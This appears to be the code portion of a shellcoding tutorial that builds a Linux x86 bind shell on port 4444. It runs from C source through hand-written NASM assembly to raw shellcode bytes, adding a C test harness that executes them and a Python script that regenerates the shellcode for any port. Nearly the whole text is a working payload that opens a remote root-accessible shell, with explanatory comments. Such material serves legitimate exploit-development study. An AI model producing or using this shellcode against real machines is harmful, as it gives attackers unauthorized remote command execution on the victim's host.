#include <stdio.h>
      #include <netinet/in.h>
      #define PORT 4444
    
      int main(int argc, char **argv) {
        // Create a socket
        int lsock = socket(AF_INET, SOCK_STREAM, 0);
    
        // Setup servr side config struct
        // We configure:
        // The family:IPv4
        // The interface: 0.0.0.0 (any)
        // The port: port#
        struct sockaddr_in config;
        config.sin_family = AF_INET;
        config.sin_addr.s_addr = INADDR_ANY;
        // The htons() function converts the
        // unsigned short integer hostshort from host byte
        // order to network byte order.
        config.sin_port = htons(PORT);
    
        // Bind the created socket with the interface
        // specified in the configuration
        bind(lsock, (struct sockaddr *)&config, sizeof(config));
    
        // Listen on the socket
        listen(lsock, 0);
    
        // Accept the incoming connection
        int csock = accept(lsock, NULL, NULL);
    
        // Redirect stdin, stdout, and stderror
        dup2(csock, 0);
        dup2(csock, 1);
        dup2(csock, 2);
    
        // Execute a shell
        execve("/bin/sh", NULL, NULL);
    };

    root@blahblah:~# netstat -atp Active Internet connections (servers and
    established) Proto Local Address Foreign Address State PID/Program
    name tcp *:4444 *:* LISTEN 1657/bindshell

    int socketcall(int call, unsigned long *args);
    int socket(int domain, int type, int protocol);
    int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    int listen(int sockfd, int backlog);
    int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
    int dup2(int oldfd, int newfd);
    int execve(const char *filename, char *const argv[], char *const envp[]);
    // ... snip

    #include <netinet/in.h>
    
    // All pointers to socket address structures are often cast to pointers
    // to this type before use in various functions and system calls:
    
    struct sockaddr {
        unsigned short    sa_family;    // address family, AF_xxx
        char              sa_data[14];  // 14 bytes of protocol address
    };
    
    
    // IPv4 AF_INET sockets:
    
    struct sockaddr_in {
        short            sin_family;   // e.g. AF_INET, AF_INET6
        unsigned short   sin_port;     // e.g. htons(3490)
        struct in_addr   sin_addr;     // see struct in_addr, below
        char             sin_zero[8];  // zero this if you want to
    };

    global _start
    ;; Note: We will store 2 file descriptors along the way
    ;; We will put the listening socket file descriptor in edi
    ;; We will put the connection socket file descriptor in ebx
    
    section .text
      _start:
        ;; Create a socket
        ;; int socketcall(int call, unsigned long *args);
        ;; int socket(int domain, int type, int protocol);
        ;; #define SYS_SOCKET 1   /* sys_socket(2)    */
        ;; Use socketcall to call down to socket
        xor eax, eax
        mov al, 0x66 ; socketcall syscall
        xor ebx, ebx
        mov bl, 0x1 ; sys_socket syscall number
    
        ;; Put the socket() args on the stack
        xor ecx, ecx
        push ecx ; Specify protocol as 0
        push ebx ; SOCK_STREAM is the type of socket 1
        push 0x2 ; Domain af_inet sets protocol family to ip protocol 2
    
        mov ecx, esp ; Save pointer to args for the socket() call
        int 0x80 ; call sys_socket
    
        ; Save the returned listening socket file descriptor
        xor edi, edi
        mov edi, eax
    
        ;; Bind the socket
        ;; Use socketcall to call down to socket
        xor eax, eax
        mov al, 0x66 ; socketcall syscall
        xor ebx, ebx
        mov bl, 0x2 ; sys_bind syscall number
    
        ;; Start building the sockaddr_in structure
        ;; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
        ; sin_addr=0 (INADDR_ANY)
        ; INADDR_ANY Accept on any interface 0x00000000
        xor ecx, ecx
        push ecx
    
        ;; 4444 is 0x115c in little endian. Network byte order is
        ;; Big endian so we swap the byte ordering
        push word 0x5c11 ; sin_port=4444 (network byte order)
        push word bx     ; sin_family=AF_INET (0x2)
        mov ecx, esp     ; move pointer to sockaddr_in structure
    
        ;; In the initial code we use sizeof to derive the addrlen
        ;; If we print the results of that we get 0x10 which is 16 bytes
        push 0x10 ;addrlen=16
        push ecx  ;struct sockaddr pointer
        push edi  ;sockfd
        mov ecx, esp ;save pointer to bind() args
        int 0x80 ; call sys_bind
    
        ;; Call listen and prepare for accepting connections
        xor eax, eax
        mov al, 0x66 ; socketcall syscall
        xor ebx, ebx
        mov bl, 0x4 ; sys_listen syscall number
    
        ;; Place listen's arguments on the stack
        xor ecx, ecx
        push ecx ; backlog we set to zero
        push edi ; push the socket file descriptor
        mov ecx, esp ; place a pointer to the args in ecx
        int 0x80 ; call sys_listen
    
        ;; Call accept
        xor eax, eax
        mov al, 0x66 ; socketcall syscall
        xor ebx, ebx
        mov bl, 0x5 ; sys_accept syscall number
        ;; Place accept's arguments on the stack
        ;; We don't need a peer socket???... so we
        ;; use nulls for addrlen and sockaddr struct
        xor ecx, ecx
        push ecx ; Push NULL (0x00000000) for addrlen
        push ecx ; Push NULL (0x00000000) for sockaddr struct
        push edi ; Push the listening sockets file descriptor
        mov ecx, esp ; place a pointer to the args in ecx
        int 0x80 ; call sys_accept
    
        ;; Save the returned connection socket file descriptor
        xor ebx, ebx
        mov ebx, eax
    
        ;; Call dup2 for stdin, stdout, and stderr in a loop
        xor ecx, ecx
        mov cl, 0x2 ;loop counter
      dup2:
        mov al, 0x3f ;dup2
        int 0x80
        dec ecx
        jns dup2
    
        ;; Call execve
        xor eax, eax
        mov al, 0xb ;execve
        xor ebx, ebx
        push ebx
        push 0x68732f2f ;"sh//"
        push 0x6e69622f ;"nib/"
        mov ebx, esp
        xor ecx, ecx
        xor edx, edx
        int 0x80

    #!/bin/bash
    echo '[+] Assembling with Nasm ... '
    nasm -f elf32 -o $1.o $1.nasm
    
    echo '[+] Linking ...'
    ld -o $1 $1.o
    
    echo '[+] Done!'

    #include<stdio.h>
    #include<string.h>
    
    unsigned char code[] = \
    "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x31"
    "\xff\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xc9\x51\x66\x68\x11\x5c\x66"
    "\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04"
    "\x31\xc9\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xc9\x51"
    "\x51\x57\x89\xe1\xcd\x80\x31\xdb\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49"
    "\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
    "\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
    
    
    main()
    {
    
      printf("Shellcode Length:  %d\n", strlen(code));
    
      int (*ret)() = (int(*)())code;
    
      ret();
    
    }

    #!/usr/bin/python
    
    import sys
    
    if len(sys.argv) != 2:
      print "Fail!"
    
    port_number     = int(sys.argv[1])
    bts             = [port_number >> i & 0xff for i in (24,16,8,0)]
    filtered        = [b for b in bts if b > 0]
    formatted       = ["\\x" + format(b, 'x') for b in filtered]
    joined          = "".join(formatted)
    
    shellcode ="\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x01\\x31\\xc9\\x51\\x53\\x6a\\x02\\x89\\xe1"
    shellcode+="\\xcd\\x80\\x31\\xff\\x89\\xc7\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x02\\x31\\xc9"
    shellcode+="\\x51\\x66\\x68" + joined + "\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x57"
    shellcode+="\\x89\\xe1\\xcd\\x80\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x04\\x31\\xc9\\x51\\x57"
    shellcode+="\\x89\\xe1\\xcd\\x80\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x05\\x31\\xc9\\x51\\x51"
    shellcode+="\\x57\\x89\\xe1\\xcd\\x80\\x31\\xdb\\x89\\xc3\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd"
    shellcode+="\\x80\\x49\\x79\\xf9\\x31\\xc0\\xb0\\x0b\\x31\\xdb\\x53\\x68\\x2f\\x2f\\x73\\x68"
    shellcode+="\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xcd\\x80"
    
    print(shellcode)